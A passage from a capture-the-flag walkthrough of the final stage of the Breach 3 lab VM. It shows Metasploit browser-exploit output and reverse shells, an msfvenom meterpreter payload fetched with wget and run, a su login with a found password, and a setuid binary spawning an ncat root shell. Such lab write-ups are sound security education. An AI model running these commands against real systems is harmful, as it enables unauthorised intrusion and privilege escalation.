msf exploit(firefox_tostring_console_injection) > set lhost 10.0.8.2
lhost => 10.0.8.2
msf exploit(firefox_tostring_console_injection) > exploit
[*] Exploit running as background job.

[*] Started reverse TCP handler on 10.0.8.2:4444 
[*] Using URL: http://10.0.8.2:8080/hWqaDKIMv6YW
[*] Server started.

Then wait.

msf exploit(firefox_tostring_console_injection) > 
[*] 192.168.5.16     firefox_tostring_console_injection - Gathering target information for 192.168.5.16
[*] 192.168.5.16     firefox_tostring_console_injection - Sending HTML response to 192.168.5.16
[*] Command shell session 1 opened (10.0.8.2:4444 -> 192.168.5.16:47372) at 2017-04-03 22:28:46 +0100
sessions -l

Active sessions
===============

  Id  Type                   Information  Connection
  --  ----                   -----------  ----------
  1   shell firefox/firefox               10.0.8.2:4444 -> 192.168.5.16:47372 (192.168.5.16)

msf exploit(firefox_tostring_console_injection) > sessions -i 1
[*] Starting interaction with 1...

ls
Desktop
firefox.sh
cat firefox.sh	
#!/bin/bash

xvfb-run --auto-servernum --server-num=1 /opt/firefox/firefox http://192.168.122.65:8800/support/ticket.php
id
uid=1001(lazyadmin) gid=1001(lazyadmin) groups=1001(lazyadmin)

The shell is not stable, the browser only stays connected for a minute, and it can take a couple of connections to get it back each time. While I am waiting for my shell to come back I prepare a meterpreter binary to send over.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.8.2 LPORT=1234 -f elf > shell.elf

Set a second listener

msf exploit(firefox_tostring_console_injection) > use exploit/multi/handler      
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 10.0.8.2
lhost => 10.0.8.2
msf exploit(handler) > set lport 1234
lport => 1234
msf exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
[*] Started reverse TCP handler on 10.0.8.2:1234 
[*] Starting the payload handler...
msf exploit(handler) > jobs -l

Jobs
====

  Id  Name                                                       Payload                            Payload opts
  --  ----                                                       -------                            ------------
  3   Exploit: multi/browser/firefox_tostring_console_injection  generic/shell_reverse_tcp          tcp://10.0.8.2:4444
  4   Exploit: multi/handler                                     linux/x86/meterpreter/reverse_tcp  tcp://10.0.8.2:1234

The as soon as the Firefox shell spawns we can transfer it from my local webserver and execute it as a background task

wget http://10.0.8.2:8000/shell.elf
chmod +x shell.elf
./shell.elf &

I see the session connect back then I can close the shell and switch to my new meterpreter session. :)

The end is finally in sight. I start with my normal enumeration and find there are two users. lazyadmin and blumbergh! Is this it can I finally make use of his password C0ff33stainS

[email protected]:/home/lazyadmin$ su - blumbergh
Password: C0ff33stainS
-su: cannot set terminal process group (655): Inappropriate ioctl for device
-su: no job control in this shell
[email protected]:~$ ls
swingline
[email protected]:~$ id
uid=1000(blumbergh) gid=1000(blumbergh) groups=1000(blumbergh),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
[email protected]:~$

Yes we can. The directory listing show a single file swingline.

file the file here

Running the file doesn’t reveal a lot to us.

[email protected]:~$ ./swingline
------------------------------------------------------
This is the last straw, I'm burning the building down.
------------------------------------------------------
[email protected]:~$

So I transfer it to my box by catting it to base64 in the terminal window, copy / paste and decode on my local box.

I start with a simple ltrace which gives me almost everything I need. We can see setuid(0) That means this probably runs as root. We see it print out the last straw statement and then we see it tries to run a netcat shell on ipv6. ncat -6 -e /bin/bash 0:0:0:0:0:0  But we have no idea what port its running on.

This is easy enough to solve. Run wireshark then run the file.

Looks like port 8889 we can confirm this on our local box by opening a listener and then running swingline

[email protected]:~/breach3# ncat -6 -l -v -p 8889
Ncat: Version 7.40 ( https://nmap.org/ncat )
Ncat: Listening on :::8889
Ncat: Connection from ::1.
Ncat: Connection from ::1:48842.
id
uid=0(root) gid=0(root) groups=0(root)

Yup pops us a root shell :) In order to get this running on the VM we need to open two sessions. So I use the meterpreter shell to start the listener. And then one of the spawned Firefox shells that are still coming in to run the file.

And that’s that.

ncat -6 -lvvp 8889
id
uid=0(root) gid=1000(blumbergh) groups=1000(blumbergh),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
ls
swingline

Lets find our last flag

find / -name flag3.txt
/root/Desktop/ / /flag3.txt
cat /root/Desktop/ / /flag3.txt
cd /root/
ls
burn.txt
Desktop
cat burn.txt
               (  .      )
           )           (              )
                 .  '   .   '  .  '  .
        (    , )       (.   )  (   ',    )
         .' ) ( . )    ,  ( ,     )   ( .
      ). , ( .   (  ) ( , ')  .' (  ,    )
     (_,) . ), ) _) _,')  (, ) '. )  ,. (' )
   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Flag 3 is buried in directories that would need some command line escaping in order to get there or we can just use the exec flag in find to read it for us :)

find / -name flag3.txt
/root/Desktop/ / /flag3.txt
find /root/Desktop/ -exec cat {} +
 ____                      _       ____             _______ _            ______           _ 
|  _ \                    | |     |___ \           |__   __| |          |  ____|         | |
| |_) |_ __ ___  __ _  ___| |__     __) |  ______     | |  | |__   ___  | |__   _ __   __| |
|  _ <| '__/ _ \/ _` |/ __| '_ \   |__ <  |______|    | |  | '_ \ / _ \ |  __| | '_ \ / _` |
| |_) | | |  __/ (_| | (__| | | |  ___) |             | |  | | | |  __/ | |____| | | | (_| |
|____/|_|  \___|\__,_|\___|_| |_| |____/              |_|  |_| |_|\___| |______|_| |_|\__,_|



Congratulations on reaching the end! But is this the end? Or will there be more? Time will tell. For now I am going to sit on the beach and sip an umbrella drink with Milton.

If you completed the whole series, I hope you enjoyed it and learned some new things. My goal was to create some unique, progressively more difficult, challenges to showcase some real-world vulnerabilities in a fun/slightly frustrating manner.

Huge thanks goes to knightmare for his assistance along the way with all 3 of these VMs, especially the advice on emulation and disc space optimization as well as countless rounds of testing. 

Also shout-out to g0blin, Rand0mByteZ, mr_h4sh and vdbaan for testing this VM.

As always, thank you to g0tmi1k and the entire vulnhub crew for hosting these challenges and maintaining this amazing community.

Some words of advice: no one started as an expert, at some point you were stuck and someone helped you out. Don't be a dick. Pay it forward. 

If you are new or trying to break in, learn how to ask questions. Show that you've done your research first and most people will be more than willing to help.

Until next time.

-mrb3n

EOF

Just to echo the sentiments of mrb3n big thanks to all those who continue to create and through creation teach the infosec community.

As usual Questions, Queries, Comments below.

 

  • Guest

    Hey nice write up! What do I do once I turn on the VM? I turned it on and ran some portscans but the only port open is udp/68 dhcpc.